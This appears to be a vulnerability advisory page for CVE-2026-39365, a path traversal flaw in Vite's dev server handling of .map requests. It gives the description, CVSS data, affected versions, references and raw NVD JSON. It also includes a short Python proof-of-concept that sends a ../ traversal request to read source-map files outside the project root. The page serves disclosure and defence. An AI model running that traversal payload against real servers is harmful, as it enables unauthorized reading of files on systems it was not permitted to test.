CVE-2026-39365

Description

Vite is a frontend tooling framework for JavaScript. From 6.0.0 to before 6.4.2, 7.3.2, and 8.0.5, the dev server’s handling of .map requests for optimized dependencies resolves file paths and calls readFile without restricting ../ segments in the URL. As a result, it is possible to bypass the server.fs.strict allow list and retrieve .map files located outside the project root, provided they can be parsed as valid source map JSON. This vulnerability is fixed in 6.4.2, 7.3.2, and 8.0.5.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:vitejs:vite:*:*:*:*:*:node.js:*:* - VULNERABLE

cpe:2.3:a:voidzero:vite\+:*:*:*:*:*:node.js:*:* - VULNERABLE

Vite >= 6.0.0, < 6.4.2

Vite >= 7.0.0, < 7.3.2

Vite >= 8.0.0, < 8.0.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-39365
# This script attempts to bypass server.fs.strict to read external .map files
import requests

def check_vulnerability(base_url):
    # Path traversal payload attempting to access a file outside the root
    # Adjust the payload path based on the target environment
    payload = "/node_modules/.vite/deps/../../../etc/passwd.map" # Example hypothetical path
    # Or targeting a specific valid map file outside root
    target = base_url + payload
    
    print(f"[+] Testing: {target}")
    try:
        response = requests.get(target, timeout=5)
        if response.status_code == 200 and "version" in response.text:
            print("[!] Vulnerability confirmed! Source map retrieved.")
            print(response.text[:200])
        else:
            print(f"[-] Status: {response.status_code}")
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    # Replace with actual dev server URL
    check_vulnerability("http://localhost:5173")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39365
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39365
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39365/
[4] VulDB https://vuldb.com/cve/CVE-2026-39365
[5] https://github.com/vitejs/vite/security/advisories/GHSA-4w7w-66w2-5vf9

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39365", "sourceIdentifier": "[email protected]", "published": "2026-04-07T20:16:30.350", "lastModified": "2026-04-30T18:34:09.230", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vite is a frontend tooling framework for JavaScript. From 6.0.0 to before 6.4.2, 7.3.2, and 8.0.5, the dev server’s handling of .map requests for optimized dependencies resolves file paths and calls readFile without restricting ../ segments in the URL. As a result, it is possible to bypass the server.fs.strict allow list and retrieve .map files located outside the project root, provided they can be parsed as valid source map JSON. This vulnerability is fixed in 6.4.2, 7.3.2, and 8.0.5."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vitejs:vite:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "6.0.0", "versionEndIncluding": "6.4.1", "matchCriteriaId": "FE1AE8AE-8504-4C45-A361-8EF1F8D573AD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vitejs:vite:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "7.0.0", "versionEndIncluding": "7.3.1", "matchCriteriaId": "8D4169B2-49CC-4174-B1AB-2D61D3441617"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vitejs:vite:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "8.0.0", "versionEndIncluding": "8.0.4", "matchCriteriaId": "51F8A931-4520-4696-89C4-7F94228654F5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:voidzero:vite\\+:*:*:*:*:*:node.js:*:*", "versionEndIncluding": "0.1.15", "matchCriteriaId": "6C271AE4-5F12-4689-A8A9-CBCBD3C447DC"}]}]}], "references": [{"url": "https://github.com/vitejs/vite/security/advisories/GHSA-4w7w-66w2-5vf9", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}